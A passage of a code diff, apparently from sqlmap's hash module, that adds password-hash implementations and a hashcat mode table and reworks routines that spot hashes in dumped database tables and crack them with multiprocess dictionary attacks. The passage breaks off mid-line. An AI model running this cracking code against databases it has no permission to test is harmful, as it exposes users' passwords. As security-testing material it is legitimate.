'md5$salt$972141bcbcb6a0acc96e92309175b3c5' + """ + + return "md5$%s$%s" % (salt, md5(getBytes(salt) + getBytes(password)).hexdigest()) + +def django_sha1_passwd(password, salt, **kwargs): + """ + Reference: https://github.com/jay0lee/GAM/blob/master/src/passlib/handlers/django.py + + >>> django_sha1_passwd(password='testpass', salt='salt') + 'sha1$salt$6ce0e522aba69d8baa873f01420fccd0250fc5b2' + """ + + return "sha1$%s$%s" % (salt, sha1(getBytes(salt) + getBytes(password)).hexdigest()) + +def django_pbkdf2_sha256_passwd(password, salt, iterations, **kwargs): + """ + Reference: https://github.com/django/django/blob/main/django/contrib/auth/hashers.py + + >>> django_pbkdf2_sha256_passwd(password='testpass', salt='salt', iterations=1000) + 'pbkdf2_sha256$1000$salt$N3DLJstEJ6mIjp0fq/KRcHmJ/4FtMzHYmW9fBHci/aI=' + """ + + dk = pbkdf2_hmac("sha256", getBytes(password), getBytes(salt), iterations) + + return "pbkdf2_sha256$%d$%s$%s" % (iterations, salt, getText(base64.b64encode(dk))) + +def werkzeug_pbkdf2_passwd(password, salt, iterations, digestmod="sha256", **kwargs): + """ + Reference: https://github.com/pallets/werkzeug/blob/main/src/werkzeug/security.py + + >>> werkzeug_pbkdf2_passwd(password='testpass', salt='salt', iterations=1000, digestmod='sha256') + 'pbkdf2:sha256:1000$salt$3770cb26cb4427a9888e9d1fabf291707989ff816d3331d8996f5f047722fda2' + """ + + dk = pbkdf2_hmac(digestmod, getBytes(password), getBytes(salt), iterations) + + return "pbkdf2:%s:%d$%s$%s" % (digestmod, iterations, salt, getText(encodeHex(dk, binary=False))) + +def werkzeug_scrypt_passwd(password, salt, N, r, p, **kwargs): + """ + Reference: https://github.com/pallets/werkzeug/blob/main/src/werkzeug/security.py + + >>> werkzeug_scrypt_passwd(password='testpass', salt='saltsalt', N=32768, r=8, p=1) if _scrypt else 'scrypt:32768:8:1$saltsalt$1e0f97c3f6609024022fbe698da29c2fe53ef1087a8e396dc6d5d2a041e886dee09ea922781f2c2a1c85e46c77060147e43487f8fe6226bcb635915af9b0518b' + 'scrypt:32768:8:1$saltsalt$1e0f97c3f6609024022fbe698da29c2fe53ef1087a8e396dc6d5d2a041e886dee09ea922781f2c2a1c85e46c77060147e43487f8fe6226bcb635915af9b0518b' + """ + + dk = _scrypt(getBytes(password), salt=getBytes(salt), n=N, r=r, p=p, dklen=64, maxmem=132 * N * r + 1024) + + return "scrypt:%d:%d:%d$%s$%s" % (N, r, p, salt, getText(encodeHex(dk, binary=False))) + +def aspnet_identity_passwd(password, salt, iterations, prf, dklen, **kwargs): + """ + Reference(s): + https://github.com/dotnet/AspNetCore/blob/main/src/Identity/Extensions.Core/src/PasswordHasher.cs + + >>> aspnet_identity_passwd(password='cutecats', salt=decodeBase64('AQAAAAEAACcQAAAAEFWLthQDW2xiWaS3vLgY4ItJdModbW0kzKtb8IVuXBY3fFaIntkbbdqTj8mTXH4mmA==', binary=True)[13:29], iterations=10000, prf=1, dklen=32) + 'AQAAAAEAACcQAAAAEFWLthQDW2xiWaS3vLgY4ItJdModbW0kzKtb8IVuXBY3fFaIntkbbdqTj8mTXH4mmA==' + """ + + subkey = pbkdf2_hmac({0: "sha1", 1: "sha256", 2: "sha512"}[prf], getBytes(password), bytes(salt), iterations, dklen) + blob = struct.pack(">BIII", 1, prf, iterations, len(salt)) + bytes(salt) + subkey + + return getText(base64.b64encode(blob)) + +def vbulletin_passwd(password, salt, **kwargs): + """ + Reference: https://stackoverflow.com/a/2202810 + + >>> vbulletin_passwd(password='testpass', salt='salt') + '85c4d8ea77ebef2236fb7e9d24ba9482:salt' + """ + + return "%s:%s" % (md5(binascii.hexlify(md5(getBytes(password)).digest()) + getBytes(salt)).hexdigest(), salt) - return retVal.upper() if uppercase else retVal +def oscommerce_old_passwd(password, salt, **kwargs): + """ + Reference: http://ryanuber.com/09-24-2010/os-commerce-password-hashing.html -def wordpress_passwd(password, salt, count, prefix, uppercase=False): + >>> oscommerce_old_passwd(password='testpass', salt='6b') + '16d39816e4545b3179f86f2d2d549af4:6b' + """ + + return "%s:%s" % (md5(getBytes(salt) + getBytes(password)).hexdigest(), salt) + +def phpass_passwd(password, salt, count, prefix, **kwargs): """ Reference(s): - http://packetstormsecurity.org/files/74448/phpassbrute.py.txt + https://web.archive.org/web/20120219120128/packetstormsecurity.org/files/74448/phpassbrute.py.txt http://scriptserver.mainframe8.com/wordpress_password_hasher.php + https://www.openwall.com/phpass/ + https://github.com/jedie/django-phpBB3/blob/master/django_phpBB3/hashers.py - >>> wordpress_passwd(password='testpass', salt='aD9ZLmkp', count=2048, prefix='$P$9aD9ZLmkp', uppercase=False) + >>> phpass_passwd(password='testpass', salt='aD9ZLmkp', count=2048, prefix='$P$') '$P$9aD9ZLmkpsN4A83G8MefaaP888gVKX0' + >>> phpass_passwd(password='testpass', salt='Pb1j9gSb', count=2048, prefix='$H$') + '$H$9Pb1j9gSb/u3EVQ.4JDZ3LqtN44oIx/' + >>> phpass_passwd(password='testpass', salt='iwtD/g.K', count=128, prefix='$S$') + '$S$5iwtD/g.KZT2rwC9DASy/mGYAThkSd3lBFdkONi1Ig1IEpBpqG8W' """ def _encode64(input_, count): @@ -301,12 +715,12 @@ def _encode64(input_, count): i = 0 while i < count: - value = ord(input_[i]) + value = (input_[i] if isinstance(input_[i], int) else ord(input_[i])) i += 1 output = output + ITOA64[value & 0x3f] if i < count: - value = value | (ord(input_[i]) << 8) + value = value | ((input_[i] if isinstance(input_[i], int) else ord(input_[i])) << 8) output = output + ITOA64[(value >> 6) & 0x3f] @@ -315,7 +729,7 @@ def _encode64(input_, count): break if i < count: - value = value | (ord(input_[i]) << 16) + value = value | ((input_[i] if isinstance(input_[i], int) else ord(input_[i])) << 16) output = output + ITOA64[(value >> 12) & 0x3f] @@ -327,74 +741,195 @@ def _encode64(input_, count): return output - password = password.encode(UNICODE_ENCODING) + password = getBytes(password) + f = {"$P$": md5, "$H$": md5, "$Q$": sha1, "$S$": sha512}[prefix] - cipher = md5(salt) + cipher = f(getBytes(salt)) cipher.update(password) hash_ = cipher.digest() for i in xrange(count): - _ = md5(hash_) + _ = f(hash_) _.update(password) hash_ = _.digest() - retVal = prefix + _encode64(hash_, 16) + retVal = "%s%s%s%s" % (prefix, ITOA64[int(math.log(count, 2))], salt, _encode64(hash_, len(hash_))) - return retVal.upper() if uppercase else retVal + if prefix == "$S$": + # Reference: https://api.drupal.org/api/drupal/includes%21password.inc/constant/DRUPAL_HASH_LENGTH/7.x + retVal = retVal[:55] + + return retVal __functions__ = { - HASH.MYSQL: mysql_passwd, - HASH.MYSQL_OLD: mysql_old_passwd, - HASH.POSTGRES: postgres_passwd, - HASH.MSSQL: mssql_passwd, - HASH.MSSQL_OLD: mssql_old_passwd, - HASH.MSSQL_NEW: mssql_new_passwd, - HASH.ORACLE: oracle_passwd, - HASH.ORACLE_OLD: oracle_old_passwd, - HASH.MD5_GENERIC: md5_generic_passwd, - HASH.SHA1_GENERIC: sha1_generic_passwd, - HASH.SHA224_GENERIC: sha224_generic_passwd, - HASH.SHA384_GENERIC: sha384_generic_passwd, - HASH.SHA512_GENERIC: sha512_generic_passwd, - HASH.CRYPT_GENERIC: crypt_generic_passwd, - HASH.WORDPRESS: wordpress_passwd, - } + HASH.MYSQL: mysql_passwd, + HASH.MYSQL_OLD: mysql_old_passwd, + HASH.POSTGRES: postgres_passwd, + HASH.POSTGRES_SCRAM: postgres_scram_passwd, + HASH.MYSQL_SHA2: mysql_sha2_passwd, + HASH.MSSQL: mssql_passwd, + HASH.MSSQL_OLD: mssql_old_passwd, + HASH.MSSQL_NEW: mssql_new_passwd, + HASH.ORACLE: oracle_passwd, + HASH.ORACLE_12C: oracle_12c_passwd, + HASH.ORACLE_OLD: oracle_old_passwd, + HASH.MD5_GENERIC: md5_generic_passwd, + HASH.SHA1_GENERIC: sha1_generic_passwd, + HASH.SHA224_GENERIC: sha224_generic_passwd, + HASH.SHA256_GENERIC: sha256_generic_passwd, + HASH.SHA384_GENERIC: sha384_generic_passwd, + HASH.SHA512_GENERIC: sha512_generic_passwd, + HASH.CRYPT_GENERIC: crypt_generic_passwd, + HASH.SHA256_UNIX_CRYPT: sha2_crypt_passwd, + HASH.SHA512_UNIX_CRYPT: sha2_crypt_passwd, + HASH.BCRYPT: bcrypt_passwd, + HASH.WORDPRESS_BCRYPT: wordpress_bcrypt_passwd, + HASH.JOOMLA: joomla_passwd, + HASH.DJANGO_MD5: django_md5_passwd, + HASH.DJANGO_SHA1: django_sha1_passwd, + HASH.DJANGO_PBKDF2_SHA256: django_pbkdf2_sha256_passwd, + HASH.ASPNET_IDENTITY: aspnet_identity_passwd, + HASH.WERKZEUG_PBKDF2: werkzeug_pbkdf2_passwd, + HASH.PHPASS: phpass_passwd, + HASH.APACHE_MD5_CRYPT: unix_md5_passwd, + HASH.UNIX_MD5_CRYPT: unix_md5_passwd, + HASH.APACHE_SHA1: apache_sha1_passwd, + HASH.VBULLETIN: vbulletin_passwd, + HASH.VBULLETIN_OLD: vbulletin_passwd, + HASH.OSCOMMERCE_OLD: oscommerce_old_passwd, + HASH.SSHA: ssha_passwd, + HASH.SSHA256: ssha256_passwd, + HASH.SSHA512: ssha512_passwd, + HASH.MD5_BASE64: md5_generic_passwd, + HASH.SHA1_BASE64: sha1_generic_passwd, + HASH.SHA256_BASE64: sha256_generic_passwd, + HASH.SHA512_BASE64: sha512_generic_passwd, +} + +if _scrypt is not None: + __functions__[HASH.WERKZEUG_SCRYPT] = werkzeug_scrypt_passwd + +# hashcat '-m' mode per recognized hash format (Reference: https://hashcat.net/wiki/doku.php?id=example_hashes); +# used to point the user at the right command when hashes are stored or cannot be cracked in pure Python +# (e.g. Argon2). Only well-established modes are listed - a format left out just gets the generic hint +HASHCAT_MODES = { + HASH.ARGON2: 34000, + HASH.MYSQL_OLD: 200, + HASH.MYSQL: 300, + HASH.POSTGRES: 12, + HASH.MSSQL_OLD: 131, + HASH.MSSQL: 132, + HASH.MSSQL_NEW: 1731, + HASH.ORACLE_OLD: 3100, + HASH.ORACLE: 112, + HASH.ORACLE_12C: 12300, + HASH.MD5_GENERIC: 0, + HASH.SHA1_GENERIC: 100, + HASH.SHA224_GENERIC: 1300, + HASH.SHA256_GENERIC: 1400, + HASH.SHA384_GENERIC: 10800, + HASH.SHA512_GENERIC: 1700, + HASH.CRYPT_GENERIC: 1500, + HASH.APACHE_SHA1: 101, + HASH.SSHA: 111, + HASH.SSHA256: 1411, + HASH.SSHA512: 1711, + HASH.UNIX_MD5_CRYPT: 500, + HASH.APACHE_MD5_CRYPT: 1600, + HASH.SHA256_UNIX_CRYPT: 7400, + HASH.SHA512_UNIX_CRYPT: 1800, + HASH.BCRYPT: 3200, + HASH.PHPASS: 400, + HASH.VBULLETIN: 2611, + HASH.DJANGO_SHA1: 124, + HASH.DJANGO_PBKDF2_SHA256: 10000, +} + +def _finalize(retVal, results, processes, attack_info=None): + if _multiprocessing: + gc.enable() + + # NOTE: https://github.com/sqlmapproject/sqlmap/issues/4367 + # NOTE: https://dzone.com/articles/python-101-creating-multiple-processes + for process in processes: + try: + process.terminate() + process.join() + except (OSError, AttributeError): + pass + + if retVal: + removals = set() + + if conf.hashDB: + conf.hashDB.beginTransaction() + + while not retVal.empty(): + user, hash_, word = item = retVal.get(block=False) + results.append(item) + removals.add((user, hash_)) + hashDBWrite(hash_, word) + + for item in list(attack_info or []): + if (item[0][0], item[0][1]) in removals: + attack_info.remove(item) + + if conf.hashDB: + conf.hashDB.endTransaction() + + if hasattr(retVal, "close"): + retVal.close() def storeHashesToFile(attack_dict): if not attack_dict: return - if kb.storeHashesChoice is None: - message = "do you want to store hashes to a temporary file " - message += "for eventual further processing with other tools [y/N] " - test = readInput(message, default="N") - kb.storeHashesChoice = test[0] in ("y", "Y") + items = OrderedSet() + regexes = set() - if not kb.storeHashesChoice: - return + for user, hashes in attack_dict.items(): + for hash_ in hashes: + hash_ = hash_.split()[0] if hash_ and hash_.strip() else hash_ + if hash_ and hash_ != NULL: + regex = hashRecognition(hash_) + if not regex: + continue - handle, filename = tempfile.mkstemp(prefix="sqlmaphashes-", suffix=".txt") - os.close(handle) + regexes.add(regex) - infoMsg = "writing hashes to a temporary file '%s' " % filename - logger.info(infoMsg) + if user and not user.startswith(DUMMY_USER_PREFIX): + item = "%s:%s\n" % (user, hash_) + else: + item = "%s\n" % hash_ - items = set() + if item and item not in items: + items.add(item) - with open(filename, "w+") as f: - for user, hashes in attack_dict.items(): - for hash_ in hashes: - hash_ = hash_.split()[0] if hash_ and hash_.strip() else hash_ - if hash_ and hash_ != NULL and hashRecognition(hash_): - item = None - if user and not user.startswith(DUMMY_USER_PREFIX): - item = "%s:%s\n" % (user.encode(UNICODE_ENCODING), hash_.encode(UNICODE_ENCODING)) - else: - item = "%s\n" % hash_.encode(UNICODE_ENCODING) + if kb.choices.storeHashes is None: + message = "do you want to store hashes to a temporary file " + message += "for eventual further processing with other tools [y/N] " + + kb.choices.storeHashes = readInput(message, default='N', boolean=True) + + if items and kb.choices.storeHashes: + handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.HASHES, suffix=".txt") + os.close(handle) - if item and item not in items: - f.write(item) - items.add(item) + infoMsg = "writing hashes to a temporary file '%s' " % filename + logger.info(infoMsg) + + with openFile(filename, "w+") as f: + for item in items: + try: + f.write(item) + except (UnicodeError, TypeError): + pass + + modes = sorted(set(HASHCAT_MODES[_] for _ in regexes if _ in HASHCAT_MODES)) + if modes: + infoMsg = "the stored hashes can be cracked with a dedicated tool " + infoMsg += "(e.g. %s)" % ", ".join("'hashcat -m %d'" % _ for _ in modes) + logger.info(infoMsg) def attackCachedUsersPasswords(): if kb.data.cachedUsersPasswords: @@ -404,7 +939,7 @@ def attackCachedUsersPasswords(): for (_, hash_, password) in results: lut[hash_.lower()] = password - for user in kb.data.cachedUsersPasswords.keys(): + for user in kb.data.cachedUsersPasswords: for i in xrange(len(kb.data.cachedUsersPasswords[user])): if (kb.data.cachedUsersPasswords[user][i] or "").strip(): value = kb.data.cachedUsersPasswords[user][i].lower().split()[0] @@ -414,48 +949,69 @@ def attackCachedUsersPasswords(): def attackDumpedTable(): if kb.data.dumpedTable: table = kb.data.dumpedTable - columns = table.keys() + columns = list(table.keys()) count = table["__infos__"]["count"] if not count: return - infoMsg = "analyzing table dump for possible password hashes" - logger.info(infoMsg) + debugMsg = "analyzing table dump for possible password hashes" + logger.debug(debugMsg) found = False col_user = '' col_passwords = set() attack_dict = {} + binary_fields = OrderedSet() + replacements = {} - for column in columns: + for column in sorted(columns, key=len, reverse=True): if column and column.lower() in COMMON_USER_COLUMNS: col_user = column break + for column in columns: + if column != "__infos__" and table[column]["values"]: + if all(INVALID_UNICODE_CHAR_FORMAT.split('%')[0] in (value or "") for value in table[column]["values"]): + binary_fields.add(column) + + if binary_fields: + _ = ','.join(binary_fields) + warnMsg = "potential binary fields detected ('%s'). In case of any problems you are " % _ + warnMsg += "advised to rerun table dump with '--fresh-queries --binary-fields=\"%s\"'" % _ + logger.warning(warnMsg) + for i in xrange(count): if not found and i > HASH_RECOGNITION_QUIT_THRESHOLD: break for column in columns: - if column == col_user or column == '__infos__': + if column == col_user or column == "__infos__": + continue + + if len(table[column]["values"]) <= i: continue - if len(table[column]['values']) <= i: + if conf.binaryFields and column in conf.binaryFields: continue - value = table[column]['values'][i] + value = table[column]["values"][i] + + if column in binary_fields and re.search(HASH_BINARY_COLUMNS_REGEX, column) is not None: + previous = value + value = encodeHex(getBytes(value), binary=False) + replacements[value] = previous if hashRecognition(value): found = True - if col_user and i < len(table[col_user]['values']): - if table[col_user]['values'][i] not in attack_dict: - attack_dict[table[col_user]['values'][i]] = [] + if col_user and i < len(table[col_user]["values"]): + if table[col_user]["values"][i] not in attack_dict: + attack_dict[table[col_user]["values"][i]] = [] - attack_dict[table[col_user]['values'][i]].append(value) + attack_dict[table[col_user]["values"][i]].append(value) else: - attack_dict['%s%d' % (DUMMY_USER_PREFIX, i)] = [value] + attack_dict["%s%d" % (DUMMY_USER_PREFIX, i)] = [value] col_passwords.add(column) @@ -467,11 +1023,11 @@ def attackDumpedTable(): storeHashesToFile(attack_dict) message = "do you want to crack them via a dictionary-based attack? %s" % ("[y/N/q]" if conf.multipleTargets else "[Y/n/q]") - test = readInput(message, default="N" if conf.multipleTargets else "Y") + choice = readInput(message, default='N' if conf.multipleTargets else 'Y').upper() - if test[0] in ("n", "N"): + if choice == 'N': return - elif test[0] in ("q", "Q"): + elif choice == 'Q': raise SqlmapUserQuitException results = dictionaryAttack(attack_dict) @@ -479,10 +1035,12 @@ def attackDumpedTable(): for (_, hash_, password) in results: if hash_: - lut[hash_.lower()] = password + key = hash_ if hash_ not in replacements else replacements[hash_] + lut[key.lower()] = password + lut["0x%s" % key.lower()] = password - infoMsg = "postprocessing table dump" - logger.info(infoMsg) + debugMsg = "post-processing table dump" + logger.debug(debugMsg) for i in xrange(count): for column in columns: @@ -490,37 +1048,56 @@ def attackDumpedTable(): value = table[column]['values'][i] if value and value.lower() in lut: - table[column]['values'][i] += " (%s)" % lut[value.lower()] + table[column]['values'][i] = "%s (%s)" % (getUnicode(table[column]['values'][i]), getUnicode(lut[value.lower()] or HASH_EMPTY_PASSWORD_MARKER)) table[column]['length'] = max(table[column]['length'], len(table[column]['values'][i])) +@cachedmethod def hashRecognition(value): + """ + >>> hashRecognition("179ad45c6ce2cb97cf1029e212046e81") == HASH.MD5_GENERIC + True + >>> hashRecognition("S:2BFCFDF5895014EE9BB2B9BA067B01E0389BB5711B7B5F82B7235E9E182C") == HASH.ORACLE + True + >>> hashRecognition("foobar") == None + True + """ + retVal = None - isOracle, isMySQL = Backend.isDbms(DBMS.ORACLE), Backend.isDbms(DBMS.MYSQL) + if value and len(value) >= 8 and ' ' not in value: # Note: pre-filter condition (for optimization purposes) + isOracle, isMySQL = Backend.isDbms(DBMS.ORACLE), Backend.isDbms(DBMS.MYSQL) - if isinstance(value, basestring): - for name, regex in getPublicTypeMembers(HASH): - # Hashes for Oracle and old MySQL look the same hence these checks - if isOracle and regex == HASH.MYSQL_OLD: - continue - elif isMySQL and regex == HASH.ORACLE_OLD: - continue - elif regex == HASH.CRYPT_GENERIC: - if any((value.lower() == value, value.upper() == value)): + if kb.cache.hashRegex is None: + parts = [] + + for name, regex in getPublicTypeMembers(HASH): + # Hashes for Oracle and old MySQL look the same hence these checks + if isOracle and regex == HASH.MYSQL_OLD or isMySQL and regex == HASH.ORACLE_OLD: continue - elif re.match(regex, value): - retVal = regex - break + else: + parts.append("(?P<%s>%s)" % (name, regex)) + + kb.cache.hashRegex = ('|'.join(parts)).replace("(?i)", "") + + if isinstance(value, six.string_types): + match = re.search(kb.cache.hashRegex, value, re.I) + if match: + algorithm, _ = [_ for _ in match.groupdict().items() if _[1] is not None][0] + retVal = getattr(HASH, algorithm) + + # Note: greedy CRYPT_GENERIC requires a mixed-case value to reduce false positives + if retVal == HASH.CRYPT_GENERIC and any((value.lower() == value, value.upper() == value)): + retVal = None return retVal -def _bruteProcessVariantA(attack_info, hash_regex, suffix, retVal, proc_id, proc_count, wordlists, custom_wordlist): +def _bruteProcessVariantA(attack_info, hash_regex, suffix, retVal, proc_id, proc_count, wordlists, custom_wordlist, api): if IS_WIN: coloramainit() count = 0 rotator = 0 - hashes = set([item[0][1] for item in attack_info]) + hashes = set(item[0][1] for item in attack_info) wordlist = Wordlist(wordlists, proc_id, getattr(proc_count, "value", 0), custom_wordlist) @@ -529,7 +1106,11 @@ def _bruteProcessVariantA(attack_info, hash_regex, suffix, retVal, proc_id, proc if not attack_info: break - if not isinstance(word, basestring): + count += 1 + + if isinstance(word, six.binary_type): + word = getUnicode(word) + elif not isinstance(word, six.string_types): continue if suffix: @@ -538,8 +1119,6 @@ def _bruteProcessVariantA(attack_info, hash_regex, suffix, retVal, proc_id, proc try: current = __functions__[hash_regex](password=word, uppercase=False) - count += 1 - if current in hashes: for item in attack_info[:]: ((user, hash_), _) = item @@ -566,9 +1145,9 @@ def _bruteProcessVariantA(attack_info, hash_regex, suffix, retVal, proc_id, proc if rotator >= len(ROTATING_CHARS): rotator = 0 - status = 'current status: %s... %s' % (word.ljust(5)[:5], ROTATING_CHARS[rotator]) + status = "current status: %s... %s" % (word.ljust(5)[:5], ROTATING_CHARS[rotator]) - if not hasattr(conf, "api"): + if not api: dataToStdout("\r[%s] [INFO] %s" % (time.strftime("%X"), status)) except KeyboardInterrupt: @@ -577,20 +1156,21 @@ def _bruteProcessVariantA(attack_info, hash_regex, suffix, retVal, proc_id, proc except (UnicodeEncodeError, UnicodeDecodeError): pass # ignore possible encoding problems caused by some words in custom dictionaries - except Exception, e: - warnMsg = "there was a problem while hashing entry: %s (%s). " % (repr(word), e) - warnMsg += "Please report by e-mail to 'dev@sqlmap.org'" + except Exception as ex: + warnMsg = "there was a problem while hashing entry: %s ('%s'). " % (repr(word), getSafeExString(ex)) + warnMsg += "Please report by e-mail to '%s'" % DEV_EMAIL_ADDRESS logger.critical(warnMsg) except KeyboardInterrupt: pass finally: + wordlist.closeFP() # release the wordlist file handle (else it leaks; Windows can't rmtree an open file) if hasattr(proc_count, "value"): with proc_count.get_lock(): proc_count.value -= 1 -def _bruteProcessVariantB(user, hash_, kwargs, hash_regex, suffix, retVal, found, proc_id, proc_count, wordlists, custom_wordlist): +def _bruteProcessVariantB(user, hash_, kwargs, hash_regex, suffix, retVal, found, proc_id, proc_count, wordlists, custom_wordlist, api): if IS_WIN: coloramainit() @@ -604,16 +1184,19 @@ def _bruteProcessVariantB(user, hash_, kwargs, hash_regex, suffix, retVal, found if found.value: break - current = __functions__[hash_regex](password=word, uppercase=False, **kwargs) count += 1 - if not isinstance(word, basestring): + if isinstance(word, six.binary_type): + word = getUnicode(word) + elif not isinstance(word, six.string_types): continue if suffix: word = word + suffix try: + current = __functions__[hash_regex](password=word, uppercase=False, **kwargs) + if hash_ == current: if hash_regex == HASH.ORACLE_OLD: # only for cosmetic purposes word = word.upper() @@ -635,14 +1218,16 @@ def _bruteProcessVariantB(user, hash_, kwargs, hash_regex, suffix, retVal, found elif (proc_id == 0 or getattr(proc_count, "value", 0) == 1) and count % HASH_MOD_ITEM_DISPLAY == 0: rotator += 1 + if rotator >= len(ROTATING_CHARS): rotator = 0 - status = 'current status: %s... %s' % (word.ljust(5)[:5], ROTATING_CHARS[rotator]) + + status = "current status: %s... %s" % (word.ljust(5)[:5], ROTATING_CHARS[rotator]) if user and not user.startswith(DUMMY_USER_PREFIX): - status += ' (user: %s)' % user + status += " (user: %s)" % user - if not hasattr(conf, "api"): + if not api: dataToStdout("\r[%s] [INFO] %s" % (time.strftime("%X"), status)) except KeyboardInterrupt: @@ -651,20 +1236,107 @@ def _bruteProcessVariantB(user, hash_, kwargs, hash_regex, suffix, retVal, found except (UnicodeEncodeError, UnicodeDecodeError): pass # ignore possible encoding problems caused by some words in custom dictionaries - except Exception, e: - warnMsg = "there was a problem while hashing entry: %s (%s). " % (repr(word), e) - warnMsg += "Please report by e-mail to 'dev@sqlmap.org'" + except Exception as ex: + warnMsg = "there was a problem while hashing entry: %s ('%s'). " % (repr(word), getSafeExString(ex)) + warnMsg += "Please report by e-mail to '%s'" % DEV_EMAIL_ADDRESS logger.critical(warnMsg) except KeyboardInterrupt: pass finally: + wordlist.closeFP() # release the wordlist file handle (else it leaks; Windows can't rmtree an open file) + if hasattr(proc_count, "value"): + with proc_count.get_lock(): + proc_count.value -= 1 + +def _bruteProcessVariantSalted(attack_info, hash_regex, suffix, retVal, proc_id, proc_count, wordlists, custom_wordlist, api, deadline): + # Candidate-major crack for the very slow, per-hash-salted algorithms (bcrypt): the OUTER loop is the + # candidate word (partitioned across processes) and the INNER loop is every still-unsolved hash, each + # verified with its own salt. Trying the most common passwords against ALL hashes first means a weak + # account anywhere in a dumped table is found in the first rounds - a hash-major loop would instead grind + # the whole wordlist on row 1 before ever testing row 2. Bounded by `deadline` so hundreds of separately + # salted hashes can't become an hours-long run; whatever is left is meant for a dedicated tool. + if IS_WIN: + coloramainit() + + count = 0 + rotator = 0 + remaining = attack_info[:] # per-process (post-fork) copy; shrinks as this process solves hashes + + wordlist = Wordlist(wordlists, proc_id, getattr(proc_count, "value", 0), custom_wordlist) + + try: + for word in wordlist: + if not remaining or time.time() > deadline: + break + + count += 1 + + if isinstance(word, six.binary_type): + word = getUnicode(word) + elif not isinstance(word, six.string_types): + continue + + if suffix: + word = word + suffix + + for item in remaining[:]: + ((user, hash_), kwargs) = item + + try: + current = __functions__[hash_regex](password=word, uppercase=False, **kwargs) + + if hash_ == current: + retVal.put((user, hash_, word)) + + clearConsoleLine() + + infoMsg = "\r[%s] [INFO] cracked password '%s'" % (time.strftime("%X"), word) + + if user and not user.startswith(DUMMY_USER_PREFIX): + infoMsg += " for user '%s'\n" % user + else: + infoMsg += " for hash '%s'\n" % hash_ + + dataToStdout(infoMsg, True) + + remaining.remove(item) + + except KeyboardInterrupt: + raise + + except (UnicodeEncodeError, UnicodeDecodeError): + pass # ignore possible encoding problems caused by some words in custom dictionaries + + except Exception as ex: + warnMsg = "there was a problem while hashing entry: %s ('%s'). " % (repr(word), getSafeExString(ex)) + warnMsg += "Please report by e-mail to '%s'" % DEV_EMAIL_ADDRESS + logger.critical(warnMsg) + + if (proc_id == 0 or getattr(proc_count, "value", 0) == 1) and count % HASH_MOD_ITEM_DISPLAY == 0: + rotator += 1 + + if rotator >= len(ROTATING_CHARS): + rotator = 0 + + status = "current status: %s... %s" % (word.ljust(5)[:5], ROTATING_CHARS[rotator]) + + if not api: + dataToStdout("\r[%s] [INFO] %s" % (time.strftime("%X"), status)) + + except KeyboardInterrupt: + pass + + finally: + wordlist.closeFP() # release the wordlist file handle (else it leaks; Windows can't rmtree an open file) if hasattr(proc_count, "value"): with proc_count.get_lock(): proc_count.value -= 1 def dictionaryAttack(attack_dict): + global _multiprocessing + suffix_list = [""] custom_wordlist = [""] hash_regexes = [] @@ -674,6 +1346,27 @@ def dictionaryAttack(attack_dict): processException = False foundHash = False + if conf.disableMulti: + _multiprocessing = None + else: + # Note: https://github.com/sqlmapproject/sqlmap/issues/4367 + try: + import multiprocessing + + # problems on FreeBSD (Reference: https://web.archive.org/web/20110710041353/http://www.eggheadcafe.com/microsoft/Python/35880259/multiprocessing-on-freebsd.aspx) + _ = multiprocessing.Queue() + + # problems with ctypes (Reference: https://github.com/sqlmapproject/sqlmap/issues/2952) + _ = multiprocessing.Value('i') + except (ImportError, OSError, AttributeError): + pass + else: + try: + if multiprocessing.cpu_count() > 1: + _multiprocessing = multiprocessing + except NotImplementedError: + pass + for (_, hashes) in attack_dict.items(): for hash_ in hashes: if not hash_: @@ -683,9 +1376,15 @@ def dictionaryAttack(attack_dict): regex = hashRecognition(hash_) if regex and regex not in hash_regexes: - hash_regexes.append(regex) - infoMsg = "using hash method '%s'" % __functions__[regex].func_name - logger.info(infoMsg) + if regex in __functions__: + hash_regexes.append(regex) + infoMsg = "using hash method '%s'" % __functions__[regex].__name__ + logger.info(infoMsg) + else: + warnMsg = "sqlmap identified a hash that cannot be cracked with the built-in dictionary attack" + if regex in HASHCAT_MODES: + warnMsg += " (use e.g. 'hashcat -m %d')" % HASHCAT_MODES[regex] + singleTimeWarnMessage(warnMsg) for hash_regex in hash_regexes: keys = set() @@ -700,49 +1399,103 @@ def dictionaryAttack(attack_dict): hash_ = hash_.split()[0] if hash_ and hash_.strip() else hash_ if re.match(hash_regex, hash_): - item = None - - if hash_regex not in (HASH.CRYPT_GENERIC, HASH.WORDPRESS): - hash_ = hash_.lower() - - if hash_regex in (HASH.MYSQL, HASH.MYSQL_OLD, HASH.MD5_GENERIC, HASH.SHA1_GENERIC): - item = [(user, hash_), {}] - elif hash_regex in (HASH.ORACLE_OLD, HASH.POSTGRES): - item = [(user, hash_), {'username': user}] - elif hash_regex in (HASH.ORACLE,): - item = [(user, hash_), {'salt': hash_[-20:]}] - elif hash_regex in (HASH.MSSQL, HASH.MSSQL_OLD, HASH.MSSQL_NEW): - item = [(user, hash_), {'salt': hash_[6:14]}] - elif hash_regex in (HASH.CRYPT_GENERIC,): - item = [(user, hash_), {'salt': hash_[0:2]}] - elif hash_regex in (HASH.WORDPRESS,): - if ITOA64.index(hash_[3]) < 32: - item = [(user, hash_), {'salt': hash_[4:12], 'count': 1 << ITOA64.index(hash_[3]), 'prefix': hash_[:12]}] - else: - warnMsg = "invalid hash '%s'" % hash_ - logger.warn(warnMsg) - - if item and hash_ not in keys: - resumed = hashDBRetrieve(hash_) - if not resumed: - attack_info.append(item) - user_hash.append(item[0]) - else: - infoMsg = "resuming password '%s' for hash '%s'" % (resumed, hash_) - if user and not user.startswith(DUMMY_USER_PREFIX): - infoMsg += " for user '%s'" % user - logger.info(infoMsg) - resumes.append((user, hash_, resumed)) - keys.add(hash_) + try: + item = None + + if hash_regex not in (HASH.CRYPT_GENERIC, HASH.JOOMLA, HASH.PHPASS, HASH.UNIX_MD5_CRYPT, HASH.APACHE_MD5_CRYPT, HASH.APACHE_SHA1, HASH.VBULLETIN, HASH.VBULLETIN_OLD, HASH.SSHA, HASH.SSHA256, HASH.SSHA512, HASH.DJANGO_MD5, HASH.DJANGO_SHA1, HASH.DJANGO_PBKDF2_SHA256, HASH.POSTGRES_SCRAM, HASH.MYSQL_SHA2, HASH.WERKZEUG_PBKDF2, HASH.WERKZEUG_SCRYPT, HASH.SHA256_UNIX_CRYPT, HASH.SHA512_UNIX_CRYPT, HASH.BCRYPT, HASH.WORDPRESS_BCRYPT, HASH.ASPNET_IDENTITY, HASH.MD5_BASE64, HASH.SHA1_BASE64, HASH.SHA256_BASE64, 